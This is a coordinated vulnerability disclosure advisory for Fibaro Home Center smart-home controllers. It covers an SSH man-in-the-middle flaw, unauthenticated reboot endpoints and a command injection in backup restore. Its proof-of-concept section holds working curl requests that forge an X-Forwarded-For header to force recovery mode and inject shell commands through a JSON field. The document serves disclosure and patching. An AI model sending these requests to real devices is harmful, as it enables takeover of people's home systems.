Fibaro Home Center MITM / Missing Authentication / Code Execution

IoT Inspector Research Lab Advisory IOT-20210408-0

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             title: Multiple vulnerabilities 

    vendor/product: Fibaro Home Center Light / Fibaro Home Center 2

                    https://www.fibaro.com/

vulnerable version: 4.600 and older

     fixed version: 4.610

        CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, 

                    CVE-2021-20992

            impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

                    9.8 (critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

                    7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

                    8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

          reported: 2020-11-18

       publication: 2021-04-08

                by: Marton Illes, IoT Inspector Research Lab

                    https://www.iot-inspector.com/

 

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Vendor description:

-------------------

"FIBARO is a global brand based on the Internet of Things technology. It 

provides solutions for building and home automation. FIBARO's headquarters

and factory are located in Wysogotowo, 3 miles away from Poznan. The company

employs app. 250 employees."

 

https://www.fibaro.com/en/about-us/

 

 

Vulnerability overview/description:

-----------------------------------

1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989)

Home Center devices initiate SSH connections to the Fibaro cloud to provide 

remote access and remote support capabilities. This connection can be 

intercepted using a man-in-the-middle attack and a device initiated remote 

port-forward channel can be used to connect to the web management interface.


IoT Inspector identified a disabled SSH host key check, which enables 

man-in-the-middle attacks.

 

By initiating connections to the Fibaro cloud an attacker can eavesdrop on 

communication between the user and the device. As communication inside the 

SSH port-forward is not encrypted (see #4 on management interface), user 

sessions, tokens and passwords can be hijacked.

 

2) Unauthenticated access to shutdown, reboot and reboot to recovery mode 

(CVE-2021-20990)

An internal management service is accessible on port 8000 and some API 

endpoints could be accessed without authentication to trigger a shutdown, a 

reboot, or a reboot into recovery mode. In recovery mode, an attacker can 

upload firmware without authentication. (Potentially an earlier version with


known remote command execution vulnerability, see #3)

 

3) Authenticated remote command execution (versions before 4.550) 

(CVE-2021-20991)

An authenticated user can run commands as root user using a command
injection 

vulnerability.

Similar problems were also discovered by Pavel Cheremushkin from Kaspersky 

ICS Cert: https://securelist.com/fibaro-smart-home/91416/

 

4) Unencrypted management interface (CVE-2021-20992)

Home Center devices provide a web based management interface over
unencrypted 

HTTP protocol. Communication between the user and the device can be 

eavesdropped to hijack sessions, tokens, and passwords. The management 

interface is only available over HTTP on the local network. The vendor 

recommends using the cloud-based management interface, which is accessible
over 

HTTPS and requests are forwarded via an encrypted SSH connection between the


Fibaro cloud and the device.

 

 

Proof of concept:

-----------------

1) Cloud SSH Connection Man-in-the-Middle Attack

 

Home Center devices initiate a SSH connection to the Fibaro cloud

 

 

./etc/init.d/fibaro/RemoteAccess

 

<snip>

DAEMON=/usr/bin/ssh

 

....

 

case "$1" in

  start)

    

                .....

 

    # get IP

    local
GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria
l}&HW_Key=${HW_Key}"

    local IP_Response; IP_Response=$(curl -f -s -S --retry 3
--connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d '
!"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')

 

    # get PORT

    local
GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S
erial}&HW_Key=${HW_Key}"

    local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3
--connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d '
!"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')

 

                ....

                

    start-stop-daemon --start --background --pidfile "${PIDFILE}"
--make-pidfile --startas /usr/bin/screen \

    -- -DmS ${NAME} ${DAEMON} -y -K 30 -i
/etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80
remote2@"${IP_Response}"

</snip>

 

The device uses dropbear ssh to initiate the connection; option -y disables
any 

host-key checks, voiding much of the otherwise added transport-layer
security 

by SSH: "Always accept hostkeys if they are unknown."

 

The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: 

lb-1.eu.ra.fibaro.com

 

An attacker can use DNS spoofing or other means to intercept the connection.
By 

using any hostkey, the attacker can successfully authenticate the SSH 

connection. Once the connection is authenticated, the client initiates a
remote 

port-forward:

-R "${PORT_Response}":localhost:80

 

This enables the attacker to access port 80 (management interface) of the 

device.

 

A similar problem exists for remote support connections:

 

./opt/fibaro/scripts/remote-support.lua

<snip>

function handleResponse(response)

  responseJson = json.decode(response.data)

  print(json.encode(responseJson))

 

  local autoSSHCommand = 'ssh -y -K 30 -i
/etc/dropbear/dropbear_rsa_host_key -R '  .. responseJson.private_ip..  ':'
.. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip

  os.execute(autoSSHCommand)

end

 

function getSupportData()

  remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint='
.. serialNumber .. '&HW_Key=' .. HWKey

  print(remoteUrl)

 

  http = net.HTTPClient({timeout = 5000})

 

  http:request(remoteUrl, {

    options = {

      method = 'GET'

    },

    success = function(response)

      handleResponse(response)

    end,

    error = function(error)

      print(error)

    end

  })

end

 

getSupportData()

</snip>

 

Here, the remote support endpoint returns the following data:

{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY
.ZZZ"}

 

The same dropbear ssh client is used with option -y. In this case, port 22 

(ssh) is made accessible through the port-forward. However, the device only 

allows public key authentication with a hard-coded SSH key. No further
testing 

has been done on compromising the support SSH connection.

 

 

2) Unauthenticated access to shutdown, reboot and reboot to recovery mode

 

The device is running a nginx server, which forwards some requests to a 

lighttpd server (8000) for further processing:

<snip>

                                proxy_set_header X-Forwarded-For
$proxy_add_x_forwarded_for;

                                

        location ~* \.php$ {

            proxy_pass   http://127.0.0.1:8000;

        }

 

        location ~* \.php\?.* {

            proxy_pass   http://127.0.0.1:8000;

        }

</snip>

 

The lighttpd server is not only accessible locally, but also via the local 

network.

 

Authentication and authorization is implemented in PHP and there is a
special 

check for connections originating from within the host. However, when
checking 

the remote IP address, the header X-Forwarded-For is also considered:

 

./var/www/authorize.php

<snip>

function isLocalRequest()

{

    $ipAddress = "";

    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) 

        $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];

    else

        $ipAddress = $_SERVER['REMOTE_ADDR'];

 

    $whitelist = array( '127.0.0.1', '::1' );

    if(in_array($ipAddress, $whitelist))

        return true;

 

    return false;

}

</snip>

 

As the lighttpd service available via the network, an attacked can inject
the 

required header X-Forwarded-For as well.

 

The check isLocalRequest is used to "secure" multiple endpoints:

 

./var/www/services/system/shutdown.php

<snip>

<?php

    require_once("../../authorize.php");

 

    if (!isLocalRequest() && !isAuthorized())

    {

       sendUnauthorized();

    }

    else

    {

        exec("systemShutdown");

    }

?>

</snip>

 

./var/www/services/system/reboot.php

<snip>

 

function authorize() 

{

    return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER,
role::INSTALLER));

}

 

function handlePOST($text)

{

    if (!isLocalRequest() && !authorize())

    {

       sendUnauthorized();

       return;

    }

 

    $params = tryDecodeJson($text);

    if(!is_null($params) && isset($params->recovery) && $params->recovery
=== true)

        exec("rebootToRecovery");

    else

        exec("systemReboot");

}

 

$requestBody = file_get_contents('php://input');

$requestMethod = $_SERVER['REQUEST_METHOD'];

 

if ($requestMethod == "POST") 

    handlePOST($requestBody);

else 

    setStatusMethodNotAllowed();

 

</snip>

 

An attacker can issue the the following HTTP request to reboot the device
into 

recovery mode:

curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d
'{"recovery":true}'  http://DEVICE:8000/services/system/reboot.php

 

In recovery mode, firmware images can be updated without authentication.

 

 

3) Authenticated remote command execution (versions before 4.550)

 

Backup & restore operations could be triggered though HTTP endpoints:

 

./var/www/services/system/backups.php

<snip>

function restoreBackup($params)

{

    if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)

    {

        setStatusTooManyRequests();

        return;

    }

 

    $type = $params->type;

    $id = $params->id;

    $version = $params->version;

 

    if (is_null($id) || !is_numeric($id) || $id < 1 ) 

    {

        setStatusBadRequest();

        return;

    }

 

    $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");

 

    if ($type == "local" && $hcVersion == "HC2" || $type == "remote") 

    {

        $version ?

                exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '.
$id . ' ' . $version) :

                exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '.
$id);

    }

    else 

    {

        setStatusBadRequest();

        return;

    }

 

    setStatusAccepted();

}

</snip>

 

The parameter $version is not sanitized or escaped, which allows an attacker
to 

inject shell commands into the exec() call:

 

cat > /tmp/exploit <<- EOM

{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1;
INJECTED COMMAND"}}

EOM

 

curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type:
application/json' -d@/tmp/exploit  http://DEVICE/services/system/backups.php


 

Version 4.550 and later have proper escaping:

<snip>

    $version = escapeshellarg($params->version);

</snip>

 

 

4) Unencrypted management interface

 

NMMAP shows a few open ports on the box:

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

8000/tcp open  http-alt

 

Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP.

 

 

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Vulnerable / tested versions:

-----------------------------

Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest
version 

at the time of the discovery

Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530

 

Solution:

---------

Upgrade to the version 4.610 or latest version, which fixes vulnerabilities
1, 

2 and 3.

 

Vulnerability 4 is not fixed as the vendor assumes that the local network is


trusted and the device only provides wired network access. Furthermore, the 

vendor recommends using the cloud-based management interface, which is 

accessible over HTTPS and requests are forwarded via an encrypted SSH 

connection between the Fibaro cloud and the device.

 

 

Advisory URL:

-------------

https://www.iot-inspector.com/blog/advisory-fibaro-home-center/

 

 

Vendor contact timeline:

------------------------

2020-11-18: Contacting Fibaro through [email protected], 

            [email protected], [email protected], [email protected]

2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on
LinkedIn

2020-11-24: Adivsory sent to Fibaro by email

2020-12-01: Fibaro confirmed the receipt of the advisory

2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes

2021-03-16: Fibaro beta release (4.601) with the fixes

2021-03-24: Fibaro applies for CVE numbers

2021-03-31: Fibaro GA release (4.610) with the fix

2021-04-08: IoT Inspector Research Lab publishes advisory

 

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The IoT Inspector Research Lab is an integrated part of IoT Inspector.

 

IoT Inspector is a platform for automated security analysis and compliance 

checks of IoT firmware. Our mission is to secure the Internet of Things. In 

order to discover vulnerabilities and vulnerability patterns within IoT
devices

and to further enhance automated identification that allows for scalable 

detection within IoT Inspector, we conduct excessive security research in
the

area of IoT. 

 

Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT 

firmware, we aim to responsibly disclose relevant information to the vendor

of the affected IoT device as well as the general public in a way that 

minimizes potential harm and encourages further security analyses of IoT 

systems.

 

You can find our responsible disclosure policy here:

https://www.iot-inspector.com/responsible-disclosure-policy/

 

 

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Interested in using IoT Inspector for your research or product?

 

Mail: research at iot-inspector dot com

Web: https://www.iot-inspector.com

Blog: https://www.iot-inspector.com/blog/

Twitter: https://twitter.com/iotinspector

 

EOF Marton Illes / @2021

 

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